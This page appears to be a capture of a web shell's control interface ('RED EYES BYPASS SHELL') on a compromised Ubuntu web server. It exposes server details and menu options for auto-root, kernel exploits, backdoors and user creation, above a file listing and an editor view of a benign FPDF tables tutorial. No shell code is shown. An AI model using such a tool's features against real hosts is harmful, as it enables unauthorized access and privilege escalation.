Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
grad /
apply /
fpdf_20231021 /
tutorial /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
20k_c1.txt
5.38
KB
-rwxr-xr-x
20k_c2.txt
7.14
KB
-rwxr-xr-x
CevicheOne-Regular-Licence.txt
4.41
KB
-rwxr-xr-x
CevicheOne-Regular.php
3.68
KB
-rwxr-xr-x
CevicheOne-Regular.ttf
34.74
KB
-rwxr-xr-x
CevicheOne-Regular.z
15.13
KB
-rwxr-xr-x
countries.txt
442
B
-rwxr-xr-x
index.htm
837
B
-rwxr-xr-x
index.php
140.61
KB
-rwxr-xr-x
logo.png
2.32
KB
-rwxr-xr-x
makefont.php
152
B
-rwxr-xr-x
tuto1.htm
4.67
KB
-rwxr-xr-x
tuto1.php
160
B
-rwxr-xr-x
tuto2.htm
5.49
KB
-rwxr-xr-x
tuto2.php
783
B
-rwxr-xr-x
tuto3.htm
8.75
KB
-rwxr-xr-x
tuto3.php
1.73
KB
-rwxr-xr-x
tuto4.htm
9.57
KB
-rwxr-xr-x
tuto4.php
2.19
KB
-rwxr-xr-x
tuto5.htm
12.03
KB
-rwxr-xr-x
tuto5.php
2.27
KB
-rwxr-xr-x
tuto6.htm
11.6
KB
-rwxr-xr-x
tuto6.php
2.4
KB
-rwxr-xr-x
tuto7.htm
8.26
KB
-rwxr-xr-x
tuto7.php
238
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tuto5.htm
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Tables</title> <link type="text/css" rel="stylesheet" href="../fpdf.css"> </head> <body> <h1>Tables</h1> This tutorial shows different ways to make tables. <div class="source"> <pre><code><?php <span class="kw">require(</span><span class="str">'fpdf.php'</span><span class="kw">); class </span>PDF <span class="kw">extends </span>FPDF <span class="kw">{ </span><span class="cmt">// Load data </span><span class="kw">function </span>LoadData<span class="kw">(</span>$file<span class="kw">) { </span><span class="cmt">// Read file lines </span>$lines <span class="kw">= </span>file<span class="kw">(</span>$file<span class="kw">); </span>$data <span class="kw">= array(); foreach(</span>$lines <span class="kw">as </span>$line<span class="kw">) </span>$data<span class="kw">[] = </span>explode<span class="kw">(</span><span class="str">';'</span><span class="kw">,</span>trim<span class="kw">(</span>$line<span class="kw">)); return </span>$data<span class="kw">; } </span><span class="cmt">// Simple table </span><span class="kw">function </span>BasicTable<span class="kw">(</span>$header<span class="kw">, </span>$data<span class="kw">) { </span><span class="cmt">// Header </span><span class="kw">foreach(</span>$header <span class="kw">as </span>$col<span class="kw">) </span>$<span class="kw">this-></span>Cell<span class="kw">(</span>40<span class="kw">,</span>7<span class="kw">,</span>$col<span class="kw">,</span>1<span class="kw">); </span>$<span class="kw">this-></span>Ln<span class="kw">(); </span><span class="cmt">// Data </span><span class="kw">foreach(</span>$data <span class="kw">as </span>$row<span class="kw">) { foreach(</span>$row <span class="kw">as </span>$col<span class="kw">) </span>$<span class="kw">this-></span>Cell<span class="kw">(</span>40<span class="kw">,</span>6<span class="kw">,</span>$col<span class="kw">,</span>1<span class="kw">); </span>$<span class="kw">this-></span>Ln<span class="kw">(); } } </span><span class="cmt">// Better table </span><span class="kw">function </span>ImprovedTable<span class="kw">(</span>$header<span class="kw">, </span>$data<span class="kw">) { </span><span class="cmt">// Column widths </span>$w <span class="kw">= array(</span>40<span class="kw">, </span>35<span class="kw">, </span>40<span class="kw">, </span>45<span class="kw">); </span><span class="cmt">// Header </span><span class="kw">for(</span>$i<span class="kw">=</span>0<span class="kw">;</span>$i<span class="kw"><</span>count<span class="kw">(</span>$header<span class="kw">);</span>$i<span class="kw">++) </span>$<span class="kw">this-></span>Cell<span class="kw">(</span>$w<span class="kw">[</span>$i<span class="kw">],</span>7<span class="kw">,</span>$header<span class="kw">[</span>$i<span class="kw">],</span>1<span class="kw">,</span>0<span class="kw">,</span><span class="str">'C'</span><span class="kw">); </span>$<span class="kw">this-></span>Ln<span class="kw">(); </span><span class="cmt">// Data </span><span class="kw">foreach(</span>$data <span class="kw">as </span>$row<span class="kw">) { </span>$<span class="kw">this-></span>Cell<span class="kw">(</span>$w<span class="kw">[</span>0<span class="kw">],</span>6<span class="kw">,</span>$row<span class="kw">[</span>0<span class="kw">],</span><span class="str">'LR'</span><span class="kw">); </span>$<span class="kw">this-></span>Cell<span class="kw">(</span>$w<span class="kw">[</span>1<span class="kw">],</span>6<span class="kw">,</span>$row<span class="kw">[</span>1<span class="kw">],</span><span class="str">'LR'</span><span class="kw">); </span>$<span class="kw">this-></span>Cell<span class="kw">(</span>$w<span class="kw">[</span>2<span class="kw">],</span>6<span class="kw">,</span>number_format<span class="kw">(</span>$row<span class="kw">[</span>2<span class="kw">]),</span><span class="str">'LR'</span><span class="kw">,</span>0<span class="kw">,</span><span class="str">'R'</span><span class="kw">); </span>$<span class="kw">this-></span>Cell<span class="kw">(</span>$w<span class="kw">[</span>3<span class="kw">],</span>6<span class="kw">,</span>number_format<span class="kw">(</span>$row<span class="kw">[</span>3<span class="kw">]),</span><span class="str">'LR'</span><span class="kw">,</span>0<span class="kw">,</span><span class="str">'R'</span><span class="kw">); </span>$<span class="kw">this-></span>Ln<span class="kw">(); } </span><span class="cmt">// Closing line </span>$<span class="kw">this-></span>Cell<span class="kw">(</span>array_sum<span class="kw">(</span>$w<span class="kw">),</span>0<span class="kw">,</span><span class="str">''</span><span class="kw">,</span><span class="str">'T'</span><span class="kw">); } </span><span class="cmt">// Colored table </span><span class="kw">function </span>FancyTable<span class="kw">(</span>$header<span class="kw">, </span>$data<span class="kw">) { </span><span class="cmt">// Colors, line width and bold font </span>$<span class="kw">this-></span>SetFillColor<span class="kw">(</span>255<span class="kw">,</span>0<span class="kw">,</span>0<span class="kw">); </span>$<span class="kw">this-></span>SetTextColor<span class="kw">(</span>255<span class="kw">); </span>$<span class="kw">this-></span>SetDrawColor<span class="kw">(</span>128<span class="kw">,</span>0<span class="kw">,</span>0<span class="kw">); </span>$<span class="kw">this-></span>SetLineWidth<span class="kw">(</span>.3<span class="kw">); </span>$<span class="kw">this-></span>SetFont<span class="kw">(</span><span class="str">''</span><span class="kw">,</span><span class="str">'B'</span><span class="kw">); </span><span class="cmt">// Header </span>$w <span class="kw">= array(</span>40<span class="kw">, </span>35<span class="kw">, </span>40<span class="kw">, </span>45<span class="kw">); for(</span>$i<span class="kw">=</span>0<span class="kw">;</span>$i<span class="kw"><</span>count<span class="kw">(</span>$header<span class="kw">);</span>$i<span class="kw">++) </span>$<span class="kw">this-></span>Cell<span class="kw">(</span>$w<span class="kw">[</span>$i<span class="kw">],</span>7<span class="kw">,</span>$header<span class="kw">[</span>$i<span class="kw">],</span>1<span class="kw">,</span>0<span class="kw">,</span><span class="str">'C'</span><span class="kw">,</span>true<span class="kw">); </span>$<span class="kw">this-></span>Ln<span class="kw">(); </span><span class="cmt">// Color and font restoration </span>$<span class="kw">this-></span>SetFillColor<span class="kw">(</span>224<span class="kw">,</span>235<span class="kw">,</span>255<span class="kw">); </span>$<span class="kw">this-></span>SetTextColor<span class="kw">(</span>0<span class="kw">); </span>$<span class="kw">this-></span>SetFont<span class="kw">(</span><span class="str">''</span><span class="kw">); </span><span class="cmt">// Data </span>$fill <span class="kw">= </span>false<span class="kw">; foreach(</span>$data <span class="kw">as </span>$row<span class="kw">) { </span>$<span class="kw">this-></span>Cell<span class="kw">(</span>$w<span class="kw">[</span>0<span class="kw">],</span>6<span class="kw">,</span>$row<span class="kw">[</span>0<span class="kw">],</span><span class="str">'LR'</span><span class="kw">,</span>0<span class="kw">,</span><span class="str">'L'</span><span class="kw">,</span>$fill<span class="kw">); </span>$<span class="kw">this-></span>Cell<span class="kw">(</span>$w<span class="kw">[</span>1<span class="kw">],</span>6<span class="kw">,</span>$row<span class="kw">[</span>1<span class="kw">],</span><span class="str">'LR'</span><span class="kw">,</span>0<span class="kw">,</span><span class="str">'L'</span><span class="kw">,</span>$fill<span class="kw">); </span>$<span class="kw">this-></span>Cell<span class="kw">(</span>$w<span class="kw">[</span>2<span class="kw">],</span>6<span class="kw">,</span>number_format<span class="kw">(</span>$row<span class="kw">[</span>2<span class="kw">]),</span><span class="str">'LR'</span><span class="kw">,</span>0<span class="kw">,</span><span class="str">'R'</span><span class="kw">,</span>$fill<span class="kw">); </span>$<span class="kw">this-></span>Cell<span class="kw">(</span>$w<span class="kw">[</span>3<span class="kw">],</span>6<span class="kw">,</span>number_format<span class="kw">(</span>$row<span class="kw">[</span>3<span class="kw">]),</span><span class="str">'LR'</span><span class="kw">,</span>0<span class="kw">,</span><span class="str">'R'</span><span class="kw">,</span>$fill<span class="kw">); </span>$<span class="kw">this-></span>Ln<span class="kw">(); </span>$fill <span class="kw">= !</span>$fill<span class="kw">; } </span><span class="cmt">// Closing line </span>$<span class="kw">this-></span>Cell<span class="kw">(</span>array_sum<span class="kw">(</span>$w<span class="kw">),</span>0<span class="kw">,</span><span class="str">''</span><span class="kw">,</span><span class="str">'T'</span><span class="kw">); } } </span>$pdf <span class="kw">= new </span>PDF<span class="kw">(); </span><span class="cmt">// Column headings </span>$header <span class="kw">= array(</span><span class="str">'Country'</span><span class="kw">, </span><span class="str">'Capital'</span><span class="kw">, </span><span class="str">'Area (sq km)'</span><span class="kw">, </span><span class="str">'Pop. (thousands)'</span><span class="kw">); </span><span class="cmt">// Data loading </span>$data <span class="kw">= </span>$pdf<span class="kw">-></span>LoadData<span class="kw">(</span><span class="str">'countries.txt'</span><span class="kw">); </span>$pdf<span class="kw">-></span>SetFont<span class="kw">(</span><span class="str">'Arial'</span><span class="kw">,</span><span class="str">''</span><span class="kw">,</span>14<span class="kw">); </span>$pdf<span class="kw">-></span>AddPage<span class="kw">(); </span>$pdf<span class="kw">-></span>BasicTable<span class="kw">(</span>$header<span class="kw">,</span>$data<span class="kw">); </span>$pdf<span class="kw">-></span>AddPage<span class="kw">(); </span>$pdf<span class="kw">-></span>ImprovedTable<span class="kw">(</span>$header<span class="kw">,</span>$data<span class="kw">); </span>$pdf<span class="kw">-></span>AddPage<span class="kw">(); </span>$pdf<span class="kw">-></span>FancyTable<span class="kw">(</span>$header<span class="kw">,</span>$data<span class="kw">); </span>$pdf<span class="kw">-></span>Output<span class="kw">(); </span>?></code></pre> </div> <p class='demo'><a href='tuto5.php' target='_blank' class='demo'>[Run]</a></p> A table being just a collection of cells, it's natural to build one from them. The first example is achieved in the most basic way possible: simple framed cells, all of the same size and left aligned. The result is rudimentary but very quick to obtain. <br> <br> The second table brings some improvements: each column has its own width, headings are centered, and numbers right aligned. Moreover, horizontal lines have been removed. This is done by means of the <code>border</code> parameter of the <a href='../doc/cell.htm'>Cell()</a> method, which specifies which sides of the cell must be drawn. Here we want the left (<code>L</code>) and right (<code>R</code>) ones. It remains the problem of the horizontal line to finish the table. There are two possibilities: either check for the last line in the loop, in which case we use <code>LRB</code> for the <code>border</code> parameter; or, as done here, add the line once the loop is over. <br> <br> The third table is similar to the second one but uses colors. Fill, text and line colors are simply specified. Alternate coloring for rows is obtained by using alternatively transparent and filled cells. </body> </html>
Close